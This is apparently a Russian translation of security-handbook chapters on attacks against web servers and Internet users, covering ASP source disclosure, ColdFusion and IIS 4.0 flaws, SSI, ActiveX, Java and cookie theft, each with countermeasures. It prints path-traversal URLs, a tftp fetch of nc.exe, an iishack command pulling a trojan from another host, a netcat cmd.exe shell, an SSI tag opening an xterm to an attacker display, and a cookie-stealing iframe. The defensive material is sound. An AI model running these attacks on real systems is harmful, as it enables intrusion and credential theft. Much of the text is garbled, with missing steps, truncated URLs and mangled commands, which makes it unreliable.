Уязвимость активных страниц сервера Активные страницы сервера (ASP — Active Server Pages) представляют собой разработку компании Microsoft, аналогичную сценариям Perl и интерфейсу CG1 системы UNIX. Обычно написанный на языке VBScript, код ASP выполняет многое из того, что необходимо для поддержки состояния, обеспечения доступа к серверной части базы данных и отображения кода HTML в окне броузера. Одной из приятных особенностей страниц ASP является то, что они могут "на лету" генерировать страницы HTML. Другой малоприятной особенностью являются многочисленные изъяны страниц ASP, позволяющие взломщику просматривать их исходный код. Почему это плохо? Во-первых, потому, что взломщик, изучая логику программы, может обнаружить и другие изъяны. Во-вторых, он может найти в этих файлах такую важную информацию, как база данных имен и паролей пользователей. Ошибка ASP, связанная с интерпретацией точки Один из членов группы LOpht в 1997 году обнаружил ошибку, которая возникает, если одну или несколько точек поставить после адреса URL страницы ASP сервера IIS 3.0. При этом можно просмотреть исходный код ASP и проанализировать логику этой программы. Еще важнее то, что в данном файле можно найти такую важную информацию, как имена и пароли пользователей. Чтобы воспользоваться этой возможностью, нужно просто добавить точку после URL. Контрмеры Хорошая новость заключается в том, что компания Microsoft выпустила модуль обновления для сервера IIS 3.0. Уязвимость ASP, связанная с альтернативными потоками данных Впервые об этом изъяне в бюллетене Bugtraq сообщил Пауль Эштон (Paul Ashton). В данном случае также можно загрузить исходный код страниц ASP. Этой возможностью легко воспользоваться, поэтому она стала довольно популярна среди новичков. Просто задайте URL в следующем формате. Контрмеры Для усиления защиты ограничьте доступ ко всем исходным файлам, отменив право на чтение для группы Everyone. В конце концов, для исходного код вполне достаточно разрешения на выполнение. Изъяны showcode. asp и codebrws. asp Рассмотрим еще один изъян, имеющий отношение к IIS 4.0, который связан с возможностью просмотра исходного кода ASP. Его отличие от рассмотренных выше ошибок заключается в том. что сам по себе этот изъян не является ошибкой, а представляет собой пример плохого программирования. Если в процессе установки сервера IIS 4.0 будут скопированы также файлы с примерами исходного кода ASP, то несколько плохо написанных файлов позволят взломщику загрузить на свой компьютер другие файлы. Проблема заключается в неспособности сценариев обрабатывать символы .., содержащиеся в пути к файлу. В следующем примере использование файла showcode.asp приведет к отображению файла boot.ini взламываемой системы (если доступ ограничен незначительно, то просмотреть можно любой файл). http: //192.168. 51.101/msadc/Samples/ Точно так же, посредством файла codebrws.asp можно просмотреть любой файл, который находится на локальном диске. Как упоминалось в главе 13, можно попытаться найти файлы с расширением GIF программы pcAnywhere. http://192.168.51.101/iissamples/exair/howitworks/ Изъяны showcode.asp и codebrws.asp невозможно использовать для корректной загрузки с целевого узла двоичных файлов. Причина заключается в том, что сценарий ASP обычно преобразовывает файлы. Преобразование такого файла, как SAM._, приведет к его повреждению и сделает его непригодным для использования. Однако это не помешает умелому хакеру восстановить структуру файла SAM и воспользоваться полученной информацией.
Контрмеры против использования изъянов в файлах АSР Рассмотренные выше проблемы можно решить, установив модуль обновления сервера IIS. Этот модуль, а также статью Q232449 из базы знаний компании Microsoft, можно найти по адресу ftp://ftp.microsoft.com/ bussys/IIS/iis-public/ fixes/usa/Viewcode-fix/. Изъян webhits.dll Ряд проблем, связанных с возможностью просмотра файлов, был выявлен группой CIS (Cerberus Information Security). Эти изъяны связаны с приложением ISAPI webhits.dll. Эта динамически подключаемая библиотека реализует механизм выделения информации в процессе функционирования MS Index Server. Однако ее наличие делает возможным взлом, при котором злоумышленник просматривает важные исходные коды ASP или другую информацию, содержащуюся на локальном диске. Первая из возможных атак начинается с использования существующего файла . HTW для просмотра исходного кода. http://192.168.51.101/default.asp%20%20%20%20%20%20%20% Третья .HTW-атака основана на использовании имени файла null.htw для помещения в окно броузера необработанного файла: http://192.168.51.10I/null.htw?CiWebHitsFile=/../../../../../winnt/ Использование предыдущего адреса URL приведет к тому, что сервер IIS предоставит файл /winnt/repair/setup.log. Контрмеры против использования изъянов библиотеки webhits.dll Для предотвращения использования рассмотренных атак удалите приложения, связанные с файлами с расширением . HTW. Для этого откройте диалоговое окно с основными свойствами уязвимого сервера, а затем для службы WWW Service щелкните на кнопке Edit. Далее перейдите во вкладку Home Directory и щелкните на кнопке Configuration из группы Application Settings. При этом на экране появится следующее диалоговое окно. Затем выделите строку, в которой указано приложение, связанное с файлами . HTW, и щелкните на кнопке Remove. После этого Web-сервер больше не будет обращаться к библиотеке webhits .dll, и, таким образом, этот изъян будет устранен.
Изъяны сервера ColdFusion Специалистами группы LOpht было обнаружено несколько существенных изъянов в сервере приложений Cold Fusion, позволяющих осуществлять удаленный запуск команд на уязвимом Web-сервере. В процессе установки этого программного продукта вместе с ним копируются также примеры кода и интерактивная документация. Причиной обнаруженных изъянов послужили несколько примеров, взаимодействие которых не ограничивается только локальным узлом. systemC'tftp -i 192.168.51.100 GET nc.exe"); Этот метод сработает в том случае, если на сервере Cold Fusion установлен интерпретатор языка Perl. http://192.168.51.101/cfdocs/expeval/openfile.cfm 3. Укажите в поле Open File путь к созданному файлу и щелкните на кнопке ОК. 4. В адресе URL замените строку D:\INETPUB\WWWROOT\cfdocs\expeval\test.pl на полное имя файла exprcalc.cfm (с указанием пути), предназначенного для удаления загруженных в систему файлов. После внесения изменений URL должен выглядеть следующим образом. http://192.168.51.101/cfdoce/expeval/ExprCalc.cfra?RequestTimeout= 5. В окне должно появиться содержимое файла exprcalc. cfm и он должен быть удален из системы. После этого все файлы, загруженные с помощью openfile.cfm, будут оставаться в удаленной системе. С:\>пс -1 -р 3000
Контрмеры против использования изъянов сервера Cold Fusion Для того чтобы предотвратить возможность использования изъянов Cold Fusion, можно воспользоваться двумя способами:
|
Переполнение буфера Многие годы проблемы, связанные с переполнением буфера, были серьезным недостатком системы защиты системы UNIX. После появления в 1995 году статьи How to write buffer overflow в мире UNIX многое переменилось. В классической статье Алефа Вана (Aleph One) Smashing the stack for fun and profit, впервые опубликованной в журнале Phrack Magazine в 1996 году, подробно описано, насколько просто добиться переполнения буфера. Изъян РНР В сценариях РНР имеется два (а возможно и больше) изъянов. Один из них является обычной проблемой отсутствия проверки ввода, ставшей бедствием для многих разрабатываемых ранее сценариев. С использованием этого изъяна взломщики могли просмотреть любой файл целевой системы. Контрмеры против использования изъяновРНР Обеспечить защиту можно двумя способами:
Изъян wwwcount.cgi Программа wwwcount является популярным счетчиком Web. Впервые о ее изъяне и его применении стало известно в 1997 году. Этот изъян позволяет взломщик)' удаленно выполнять любой код на локальной системе. Широкой общественности по крайней мере стало известны два примера использования этого изъяна, однако в обоих случаях происходило в основном одно и то же: "захват" взломщиком окна xterm. Контрмеры против использования nsbflHawwwcount Предотвратить использование изъяна программы wwwcount можно двумя способами:
Изъян iishack сервера IIS 4.0 В июне 1999 года широкой общественности стало известно о досадной ошибке в системе защиты сервера IIS 4.0, которая оказалась серьезной угрозой безопасности Web-сервера компании Microsoft. Этот изъян был обнаружен группой экспертов по вопросам безопасности еЕуе, которая поместила в Internet исходный код и исполняемый файл, с помощью которого можно осуществить взлом. Источником проблемы является недостаточная проверка границ имен файлов .НТК, .STM и .юс, содержащихся в адресах URL. Это позволяет взломщику поместить в этот адрес код, который будет загружен на целевую систему и выполнен с правами администратора. C:\nt\>iishack 10.12.24.2 80 172.29.11.101/getem.exe Созданная авторами простая программа типа "троянский конь" getem.exe, распаковывает утилиту pwdump.exe (позволяющую получить дамп хеш-кодов базы данных SAM), запускает утилиту netcat, настроенную на прослушивание порта 25, и возвращает обратно командную оболочку (nc -nw -L -р 25 -t -e cmd.exe). После успешного выполнения всех этих действий на собственном компьютере можно запустить утилиту netcat, получив таким образом в свое распоряжение командную оболочку и локальный доступ с привилегиями учетной записи SYSTEM (т.е. с правами администратора): C:\>nc -nw 10.11.1.1 26 С помощью простых команд копирования и вставки, применяемых в командной строке, а также программы LOphtCrack, которая используется для взлома хеш-кодов, можно получить в свое распоряжение пароль администратора (и любого другого пользователя системы). Контрмеры против изъянов US 4.0 Сначала компания Microsoft разработала комплекс рекомендаций для устранения этой проблемы, а затем выпустила модуль обновления. Группа экспертов eEye выпустила свой собственный модуль обновления, однако всегда рекомендуется использовать средства от производителя. Изъян переполнения полей У читателя может возникнуть вопрос, "Действительно ли можно взломать Web-сервер, пользуясь только Web-броузером?" На этот вопрос можно ответить вполне определенно: "ДА". Программисты в Web в первую очередь заботятся о производительности, отодвигая вопросы безопасности на второй план. Лучше всего это видно на примере ошибки, возникающей при переполнении буфера на сервере Cold Fusion, которая была обнаружена группой Foundstone. Проблема заключается в том, каким образом компания Allaire реализовала проверку достоверности входных данных, которые вводятся в поле пароля администратора. Пользуясь недостаточно полной очисткой этого поля, взломщик с помощью одного броузера может практически полностью вывести Web-сервер из строя. Вот как это можно сделать. 1. Введите в броузере адрес страницы регистрации администратора в системе на типичном сервере Cold Fusion: <form 4. Измените дескриптор HTML с именем PasswordProvided, который содержит пароль, а затем измените свойства size и MAXLENGTH: <input Name="PasswordProvided" 5. Щелкните на кнопке Preview, расположенной на панели инструментов Netscape, и сохраните этот файл в формате HTML.
На приведенном рисунке можно увидеть, что выполненные выше действия привели к подъему использования процессора сервера до 100%. Если подобные запросы продолжают поступать то, в конце концов, произойдет переполнение памяти. Более того, если на сервер отправить больше миллиарда символов, это окончательно выведет его из строя. В любом случае, для выяснения причины сбоя придется перезагружать систему.
Контрмеры Единственным эффективным решением проблемы подобного рода является использование в каждой разрабатываемой программе процедуры очистки входных данных. В рассмотренном случае можно переместить страницу администратора в какой-то другой каталог или выполнить рекомендации по обеспечению безопасности сервера Cold Fusion, которые можно найти по адресу http://www.allaire.com/Handlers/index. cfm?ID=10954&Method=Full. |
Плохое проектирование в Web Хотя в истории развития Internet имеются многочисленные примеры разрушительных атак на Web-серверы, которые позволяют взломщикам получать важную информацию об устройстве сервера, а зачастую и привилегированные права доступа, эти взломы — только вершина айсберга. Многие разработчики не стремятся изучить жизненно важные методы проектирования, которые могли бы ограничить нежелательное использование их Web-серверов. В развитие многих из методов, обсуждаемых в этой главе, внесли вклад многие люди, в том числе Симпл Номад (Simple Nomad) из центра NMRCи компания Perfecto Inc. Использование скрытых дескрипторов В настоящее время многие компании пользуются Internet, предлагая свои продукты и услуги любому, у кого есть Web-броузер. Но "плохо запрограммированная" тележка для покупок может позволить взломщику фальсифицировать стоимость товаров. Например, рассмотрим небольшую компанию, занимающуюся продажей аппаратного обеспечения. Эта компания обзавелась собственным Web-сервером, чтобы ее клиенты могли осуществлять покупки в интерактивном режиме. Однако они допустили в программе важный промах: применили скрытые дескрипторы HTML как единственный механизм назначения цены за определенный товар. В результате, если взломщики обнаружат это уязвимое место, они смогут изменить цену, стоящую в скрытых дескрипторах, по своему усмотрению. <FORM ACTION="http://192.168.51.101/cgi-bin/order.pi" В этом случае простое изменение цены с помощью Netscape Composer или в любом текстовом редакторе позволит взломщику заплатить за товар $1.99 вместо предполагаемой суммы $199.99: Контрмеры против использования скрытых дескрипторов Чтобы предотвратить возможность использования взломщиками скрытых дескрипторов HTML, ограничьте их использование в коде, который обеспечивает хранение такой важной информации как цены, или, по крайней мере, реализуйте режим подтверждения этих значений перед их использованием. Вставки SSI Механизм SSI (Server Side Includes) обеспечивает интерактивную работу в режиме реального времени без использования программирования. Разработчики Web-приложений часто используют эту возможность для быстрого получения системной даты/времени или для запуска локальной команды и обработки выходных данных. Возможности таких вставок реализуются с помощью дескрипторов (tag). В число дескрипторов входят: echo, include, fsize, flastmod, exec, config, odbc, email, if, goto, label, и break. Три из них, include, exec и email, могут оказаться наиболее полезны взломщикам. <!--#ехес cmd="/usr/XHR6/bin/xterm -display attacker:0 &"-->
Меры предосторожности против использования SSI Нужно пользоваться сценарием, проводящим предварительный синтаксический анализ любого прочитанного файла HTML, и отбрасывающим любую несанкционированную строку SSI перед передачей этого файла серверу для обработки. Добавления к файлам Любая возможность Web-приложений, позволяющая пользователю вводить информацию в файл непосредственно повышает уязвимость системы и создает потенциальную возможность атаки. Например, если на Web-узле содержится форма для ввода рекомендаций по улучшению работы узла, или что-то другое в том же духе, и пользователи имеют возможность просматривать этот файл, то взломщик может воспользоваться этим обстоятельством. Используя код SSI (описанным выше способом), он может поместить в файл с комментариями код, который запускается локально, или код JavaScript, предлагающий ввести входящим пользователям их имя и пароль, чтобы использовать эту информацию в будущем. Контрмеры против использования добавлений к файлам Нужно ограничить возможность использования добавлений в процессе совместного интерактивного использования информации, так как эти возможности открывают взломщику слишком много путей манипулирования пользователями и Web-сервером. |
Резюме В этой главе обсуждаются распространенные и не очень известные проблемы, обнаруженные в Internet. У взломщиков на вооружении имеется определенный набор способов, к которым они могут прибегнуть, пытаясь получить доступ к Web-серверу, или хотя бы обмануть его. При этом они могут пользоваться изъянами проверки входных данных, условиями переполнения буфера или обычными промахами, допущенными при разработке Web-приложений. |
Глава 16. АТАКИ НА ПОЛЬЗОВАТЕЛЕЙ INTERNET
|
Атаки на пользователей INTERNET До сих пор много говорилось об общепринятых методах взлома систем, принадлежащих различным компаниям и управляемых опытными администраторами. Ведь считается, что именно там находятся основные ценности, не так ли? Не может же зловредный хакер пытаться найти что-нибудь интересное на домашнем компьютере какой-нибудь старушки. |
Мобильный код со злым умыслом Появление мобильного кода стало важным событием в процессе развития Internet от статического набора документов до случайным образом генерируемой среды, которой она стала на сегодняшний день. Развитие современных технологий, основанных на динамических данных, может стать основной моделью обработки информации в будущем. Однако сейчас акцент делается не на повышении надежности клиентских вычислительных моделей, а на расширении использования динамических документов HTML (DHTML), таблиц стилей и повышении производительности сценариев серверных приложений. (Правда, на это можно возразить, что сама обработка данных происходит все же на клиентском компьютере, однако подобный спор требует углубления в архитектуру самого Web-броузера.) В любом случае мобильный код, передающийся по сети на узел назначения, на сегодняшний день остается важнейшей частью фундамента Internet. Механизмы поддержки двух доминирующих парадигм мобильного кода, язык Java компании Sun и элементы управления ActiveX компании Microsoft, встроены во все броузеры. Поэтому их изучение является крайне важным для обеспечения безопасности любого клиента Internet. |
Элементы ActiveX компании Microsoft Элементы управления ActiveX являются результатом повторной попытки фирмы Microsoft разработать модель мобильного кода. Их часто описывают как приспособленную для Web технологию создания документов со связыванием и внедрением объектов (Object Linking and Embedding — OLE). На самом деле это сильно упрощенная трактовка набора интерфейсов, спецификаций и претендующих на исключительность парадигм разработки, входящих в модель СОМ компании Microsoft (COM — Component Object Model), которая и составляет основу технологии ActiveX. В то же время подобные упрощения способствуют лучшему пониманию. Приложения ActiveX могут создаваться для выполнения определенных задач (таких как воспроизведение видео-или звукового файла). Их можно поместить на Web-страницу, и тогда эти программы будут выполнять свои функции при ее просмотре точно так же, как технология OLE поддерживает операцию вставки электронных таблиц Excel в документы Word. Флаг "Safe for scripting" технологии ActiveX Летом 1999 года Георгий Гунински (Georgi Guninski) и Ричард М. Смит (Richard М. Smith) (и не только они) независимо обнаружили два различных изъяна в методе обработки элементов ActiveX броузером Internet Explorer. Установив для элементов управления флаг "safe for scripting" ("помеченный как безопасный"), их разработчики могут полностью обойти обычную процедуру проверки сертификатов Authenticode. В качестве примеров таких элементов ActiveX можно привести Scriptlet. typelib и Eyedog.OCX, предназначенные для использования в IE4 и более ранних версиях. Если для этих элементов управления установлен флаг "safe for scripting", то при их запуске в броузере на экран не будет выводиться никаких сообщений. <object id="scr" Этот изъян интерфейсов программного обеспечения, позволяющий получить к ним доступ, Ричард М. Смит (Richard M. Smith) назвал "случайным троянским конем". Установленные на жесткий диск многих пользователей вместе с таким популярными приложениями, как IE, данные элементы управления ActiveX ожидают, пока кто-нибудь не установит с ними удаленное соединение (http: //www. tiac.net/users /smiths/acetroj/index.htm). Чтобы посмотреть, имеются ли среди этих объектов помеченные как "safe for scripting", воспользуйтесь утилитой oleview из набора NT Resource Kit (ее более новая версия входит в среду разработки приложений Visual Studio компании Microsoft). Утилита oleview позволяет просмотреть все зарегистрированные в системе объекты COM/ActiveX. Кроме того, она выводит их идентификатор класса (CLSID — Class ID), используемый при обращении к этим объектам в системном реестре, и многие важные параметры из поддерева Implemented Categories системного реестра. function setup() { ua.ShowDialog(ОхОЕ2В); Элементы управления, помеченные как "safe for scripting", могут вызываться также из электронных сообщений в формате HTML. В этом случае их гораздо легче разместить в нужном месте, поэтому они могут быть более опасны. Подобные "бомбы" обсуждаются в следующих разделах, посвященных хакингу через электронную почту.
Защита от использования флага "safe for scripting" Для защиты от этих серьезных изъянов пользователям Internet можно предложить три метода. Мы рекомендуем воспользоваться всеми тремя способами. После инстанцирования элементы управления ActiveX остаются в памяти до тех пор, пока не будут выгружены. Для этого в командной строке введите команду regsvr32 /u [Имя_элемента].
Активная загрузка файлов Независимый исследователь проблем безопасности Хуан Карлос Гарсия Квартанго (Juan Carlos Garci'a Cuartango), внимание которого особенно привлекает броузер Internet Explorer, поместил на своем Web-узле информационное сообщение об одном из его изъянов. Это оказалось настолько важным, что сообшение было переведено на английский язык (тогда как остальная информация узла была представлена на испанском). Суть изъяна заключается в возможности генерирования состояния отказа в обслуживании (DoS — Denial of Service), если для загрузки файлов с расширением .CAB, имеющих сертификат компании Microsoft, используется элемент управления ActiveX. При этом файлы загружаются в любое указанное место диска, даже если для этого необходимо записать их поверх других файлов. Контрмеры Компания Microsoft выпустила соответствующий модуль обновления, который можно найти по адресу http://www.microsoft.com/security (Bulletin MS00-42). В системе Windows 2000 защиту определенных системных файлов от перезаписи обеспечивает служба WFP (Windows File Protection). Разумное использование зон безопасности: общее решение проблемы элементов ActiveX Одной из лучших ссылок по этой теме является статья Q174360 из базы знаний компании Microsoft (http://support.microsoft.com). Там вы найдете много ценной информации о зонах безопасности. По существу, модель зон безопасности позволяет определять разные уровни доверия для кода, загружаемого с одной из четырех зон: Local Intranet (Местная зона (интрасеть)), Trusted Sites (Зона надежных узлов), Internet (Зона Internet) и Restricted Sites (Зона ограниченных узлов). Существует еще пятая зона, которая называется Local Machine (Локальная машина), однако в пользовательском интерфейсе она недоступна, настроить ее можно только с помощью средств администрирования IEAK (IE Administration Kit) Таблица 16.1. Рекомендуемые параметры безопасности зоны Internet( настройки уровня Custom Level нужно выполнять после того, как по умолчанию задан уровень безопасности High)
Параметры, позволяющие запретить использование элементов управления ActiveX, показаны на рис. 16.1.
Если вы все же хотите воспользоваться преимуществами звуковых и анимационных эффектов, обеспечиваемых элементами Shockwave, придется допустить использование элементов ActiveX (конечно, если не задействован броузер Netscape, в котором элементы Shockwave выступают в качестве подключаемых модулей). Другим ориентированным на элементы ActiveX узлом, который посещается многими пользователями, является узел Windows Update компании Microsoft (WU), на котором элементы ActiveX используются для сканирования компьютера пользователя, а также для загрузки и установки нужных модулей дополнения. Этот Web-узел оказался удачной идеей. Он позволяет сэкономить огромное количество времени, требуемого для поисков отдельных модулей обновления (что особенно важно для обеспечения безопасности!), и автоматически определить, была ли ранее установлена правильная версия. Однако мы не думаем, что из-за одного узла, предоставляющего такие удобства, стоит полностью разрешать использование элементов управления ActiveX. Еще хуже то, что после запрещения использования элементов ActiveX в броузере Internet Explorer нельзя воспользоваться механизмом автоматического поиска адреса по фрагменту URL, введенному в адресной строке (например, когда по подстроке mрЗ требуется найти узел http: //www.mp3. com). Соблюдайте осторожность и добавляйте в зону надежных узлов только те из них, которые пользуются высокой степенью доверия, поскольку к ним будет применяться меньше ограничений, связанных с загрузкой их активного содержимого и запуском. Следует иметь в виду, что даже респектабельный Web-узел может быть взломан хакерами-злоумышленниками, или в группе его разработчиков может оказаться негодяй, охотящийся за данными пользователей (а возможны и худшие варианты). Для безопасного чтения электронных сообщений приложения Outlook и Outlook Express можно настроить так, чтобы в них тоже учитывались зоны безопасности. Параметры Outlook и Outlook Express позволяют выбрать зону, уровень безопасности которой будет использоваться при обработке содержимого, отображаемого почтовой программой. Имеется две возможности: Internet и Restricted Sites. Конечно же, рекомендуется выбрать зону ограниченных узлов (новый модуль Outlook 2000 Security Update выполняет эту установку самостоятельно). Убедитесь в том, что в параметрах зоны Restricted Sites полностью отключены все категории активного содержимого! Для этого установите уровень безопасности High, а затем задайте режим Custom Level и отключите все режимы, которые остались включенными (если их отключить нельзя, установите переключатель в положение, соответствующее наивысшему уровню безопасности). Процесс настройки зоны Restricted Sites в Outlook показан на рис. 16.2Д
Изъяны в системе защиты Java В 1990 году компания Sun Microsystems решила создать парадигму программирования, которая помогла бы решить многие проблемы разработки программ, стоящие перед их создателями еще со времен зарождения вычислительной техники. В результате одним выстрелом удалось убить двух зайцев: создать новый язык Java и попутно решить многие традиционные проблемы обеспечения безопасности. Большинство людей полагают, что язык Java безопасен на все 100%, поскольку с самого начала был задуман как нечто исключительное. Это мнение в значительной мере подкрепляется маркетинговой политикой компании Sun. Конечно же, обеспечить абсолютную безопасность невозможно. Однако пути ее повышения, применяемые в Java, несомненно, представляют определенный интерес. (Ниже будет рассмотрена архитектура Java 2, или JDK 1.2, которая в момент написания книги являлась текущей.) Ошибки JVM броузера Netscape Communicator В апреле 1999 года сотрудник Марбургского университета (Германия) Карстен Зор (Karsten Sohr) обнаружил изъян важного компонента безопасности JVM броузера Netscape Communicator. При определенных обстоятельствах виртуальная машина Java не проверяет загружаемый в нее код. Использование этого изъяна позволяет взломщику запустить код, разрушающий механизмы проверки типов Java, и реализовать взлом со смешением типов (type confusion attack). Это классический пример отступления реализации от первоначального замысла. Отключение Java в броузере Netscape Обновите текущую версию Netscape, или отключите Java, выполнив следующие действия (рис. 16.3).
Изъян в механизме обеспечения безопасности Microsoft Java В броузере Internet Explorer вскоре была обнаружена аналогичная ошибка. Из-за недостатков реализации механизма обеспечения безопасности в JVM компании Microsoft появилась возможность полностью обойти механизмы защиты с помощью хитро запрограммированного аплета, размещенного на удаленном Web-сервере, или встроенного в сообщение электронной почты в формате HTML. Устранение ошибок в Internet Explorer Чтобы узнать, уязвима ли используемая вами версия программы, введите в командной строке команду jview. Найдите номер сборки (последние четыре цифры номера версии) и определите, к какой из следующих категорий он относится.
Не удивляйтесь, если после выполнения команды jview окажется, что изъян существует, даже если Internet Explorer не установлен. Некоторые другие продукты компании Microsoft, такие как Visual Studio, тоже устанавливают виртуальную машину Java. Во время написания этого раздела немало был удивлен и автор, когда выяснил, что у него на компьютере тоже установлена версия JVM с изъяном. Она была установлена вместе с IE 5.0 через год с момента выпуска модуля обновления! Brown Orifice и новые ошибки в Java Летом 2000 года Дан Брумлев (Dan Brumleve) сообщил о двух выявленных изъянах. относящихся к реализации Java в Netscape Communicator. В частности, он установил, что в некоторых файлах библиотек классов Java при выполнении определенных операций не выполняется надлежащая проверка безопасности или результаты этой проверки игнорируются. В число классов, о которых идет речь, входит класс java.net. ServerSocket, используемый для создания прослушиваемых сетевых сокетов для входящих сетевых соединений, а также классы netscape, net. URLConnection и netscape.net.URLlnputSteam, содержащие абстрактные стандартные методы чтения локальных файлов. Во всех этих трех классах содержатся методы, в которых некорректно вызывается метод SecurityManager .check, определяющий, действительно ли данный аплет обладает правами доступа, необходимыми для выполнения некоторых действий. Если проверка завершилась неудачей, то это исключение игнорируется. Контрмеры против Brown Orifice Как обычно, единственный надежный способ защиты от опасных аплетов заключается в запрете использования Java в Web-броузере. Сделать это можно в броузере Netscape, как описано выше в разделе "Отключение Java В Броузере Netscape" и показано на рис. 16.3. Мы рекомендуем использовать эти параметры пользователям Netscape. |
Остерегайтесь монстра Cookie Задумывались ли вы когда-нибудь о том, как на некоторых Web-узлах происходит персонификация посетителей? Это может выражаться, например, в запоминании содержимого "тележки" (если этот узел предназначен для продажи товаров) или в способе заполнения полей какой-нибудь формы. В протоколе HTTP, лежащем в основе функционирования World Wide Web, нет средств, позволяющих отслеживать события от одного посещения узла к другому, поэтому для возможности хранения таких "состояний" было разработано специальное дополнение. Этот механизм, описанный в документе RFC 2109, обеспечивает вставку в передаваемые запросы и ответы HTTP специальных фрагментов данных cookie, позволяющих Web-узлам отслеживать своих посетителей. Данные cookie могут запоминаться на время сеанса связи (per session), оставаясь в оперативной памяти в течение одного сеанса и удаляясь при закрытии броузера, или даже после истечения заданного промежутка времени. В других случаях они бывают постоянными (persistent), оставаясь на жестком диске пользователя в виде текстового файла. Обычно они хранятся в каталоге Cookies (%windir% \Cookies — в Win9x и %userprofile%\Cookies — в NT/2000). Нетрудно догадаться, что после захвата файлов cookie в Internet взломщик может выдавать себя за пользователя данного компьютера, или собирать содержащуюся в этих файлах важную информацию. Прочитав следующие разделы, вы поймете, насколько просто это сделать. Перехват файлов cookie Самый прямой способ заключается в перехвате файлов cookie при их передаче по сети. Затем перехваченные данные можно использовать при входе на соответствующий сервер. Такую задачу можно решить с помощью любой утилиты перехвата пакетов, однако одной из лучших является программа Лаврентия Никулы (Laurentiu Nicula) SpyNet/PeepNet . В состав SpyNet входят две утилиты, которые работают в комплексе. Программа CaptureNet выполняет захват самого пакета и сохраняет его на диске, а утилита PeepNet открывает этот файл и преобразует его в читабельный формат. Следующий пример является фрагментом восстановленного программой PeepNet сеанса связи, во время которого файл cookie служит для аутентификации и управления доступом к просматриваемым страницам (для сохранения анонимности имена изменены). GET http://www.victim.net/images/logo.gif HTTP/1.0 В приведенном примере виден фрагмент cookie, помещенный в поступающий на сервер запрос HTTP. Наиболее важным является поле cuid=, в котором задается уникальный идентификатор, используемый при аутентификации пользователя на узле www.victim.net. Допустим, что после этого взломщик посетил узел victim.net, получил собственный идентификатор и файл cookie (предполагается, что узел помещает данные cookie не в виртуальную память, а записывает их на жесткий диск). Тогда взломщик может открыть свой собственный файл cookie и заменить в нем идентификатор поля cuid=, взяв его из перехваченного пакета. В этом случае при входе на сервер victim.net он будет восприниматься как пользователь, чьи данные cookie были перехвачены. Контрмеры Следует остерегаться узлов, на которых файлы cookie применяются для аутентификации и хранения важных идентификационных данных. Одним из инструментов, помогающих в обеспечении защиты, является программа Cookie Pal компании Kookaburra Software, которую можно найти на Web-узле http://www.kburra.com/cpal.html. Этот программный продукт можно настроить так, чтобы для пользователя генерировались предупреждающие сообщения о попытках Web-узла воспользоваться механизмом cookie. При этом можно "заглянуть за кулисы" и решить, следует ли разрешать выполнение этих действий. В Internet Explorer имеется встроенный механизм поддержки файлов cookie. Чтобы активизировать его, запустите аплет Internet Options панели управления, перейдите во вкладку Security, выберите элемент Internet Zone, установите режим Custom Level и для постоянных и временных данных cookie установите переключатель в положение Prompt. Настройка использования файлов cookie в броузере Netscape выполняется с помощью команды Edit>Preferences>Advanced и установки режима Warn me before accepting a cookie или Disable cookies (рис. 16.3). Принимая файл cookie, нужно проверить, записался ли он на диск, и узнать, собирает ли Web-узел информацию о пользователях. Захват файлов cookie через URL Представим себе нечто ужасное: пользователи Internet Explorer щелкают на специально сконструированных гиперссылках и становятся потенциальными жертвами, рискуя, что их файлы cookie будут перехвачены. Беннет Хазельтон (Bennett Haselton) и Джеми Маккарти (Jamie McCarthy) из тинейджерской организации Peacefire, ратующей за свободу общения через Internet, опубликовали сценарий , воплощающий эту идею в жизнь. Этот сценарий извлекает файлы cookie с клиентского компьютера, если его пользователь щелкает на ссылке, содержащейся на этой странице. В результате содержимое файла cookie становится доступным для операторов Web-узла. <iframe src="http://www.peacefire.org%2fsecurity%2fiecookies%2f Можно составить коварное электронное сообщение, которое "захватывало" бы файлы cookie с жесткого диска пользователя и передавало их операторам узла peacefire.org. Для этого в него много раз нужно поместить ссылку на этот узел так, как показано в примерю. Несмотря на то что ребята из Peacefire выглядят довольно приятными людьми, вряд ли кому-нибудь понравится, если к ним в руки попадут конфиденциальные данные. Контрмеры Установите модуль обновления, который можно найти по адресу http://www. microsoft.com/technet/security/bulletin/ms00-033.asp. Можно воспользоваться также программой Cookie Pal или встроенными возможностями Internet Explorer, как описано выше. |
Изъяны фреймов HTML в Internet Explorer Малоизвестной особенностью броузера Internet Explorer является возможность использования доменной модели обеспечения безопасности ("cross-domain security model"). Исчерпывающее описание этой концепции можно найти по адресу http://www.microsoft.com/technet/security/bulletin/fq00-009.asp. Вкратце это означает следующее. Описываемая модель скрыто используется и предотвращает чтение, доступ и любые другие операции с данными, открытыми в окне одного узла (простейшая форма домена IE), со стороны окна другого узла. При таком подходе фреймы HTML, открытые в каком-либо окне, должны быть доступны только из родительского окна при условии, что оба они относятся к одному и тому же домену. Чтение других доменов с помощью дескриптора IFRAME и document.execCommand Эксперт в области безопасности броузеров Георгий Гунински (Georgi Guninski) обнаружил несколько случаев нарушения модели доменной безопасности, предотвращающей обмен данными между доменами. Контрмеры Установите модуль обновления, который можно найти по адресу http://www. microsoft.com/technet/security/bulletin/ms99-042.asp. Можно также отключить режим использования активных сценариев с помощью процедуры, описанной в разделе "Разумное Использование Зон Безопасности: Общее Решение Проблемы Элементов ActiveX". Проверка принадлежности к доменам Internet Explorer В июне 2000 года Эндрю Носенко (Andrew Nosenko) из компании Mead & Company сообщил о том, что в Internet Explorer две функции не выполняют надлежащую проверку принадлежности к домену. Это позволяет создать такую страницу HTML, которая открывала бы фрейм с локальным файлом и могла читать этот файл . В стремлении быть непревзойденным, Георгий Гунински тоже поместил на своем узле сообщение о подобной уязвимости. Код Георгия поражает обманчивой простотой. <IFRAME ID="I1"X/IFRAME> Как и в предыдущем случае, в качестве цели был избран файл test. Но с таким же успехом можно считать любой другой файл системы пользователя, который можно просмотреть в броузере. Для этого нужно внести соответствующие изменения в строку file://с:/test.txt. Контрмеры Примените модуль обновления, который можно найти по адресу http://www. microsoft.com/technet/security/bulletin/fq00-033.asp. Как и в предыдущих случаях, альтернативной мерой является отключение активных сценариев. Эта предосторожность значительно ограничит функциональные возможности Web-узлов, работа которых основана на применении сценариев (см. раздел, посвященный зонам безопасности). |
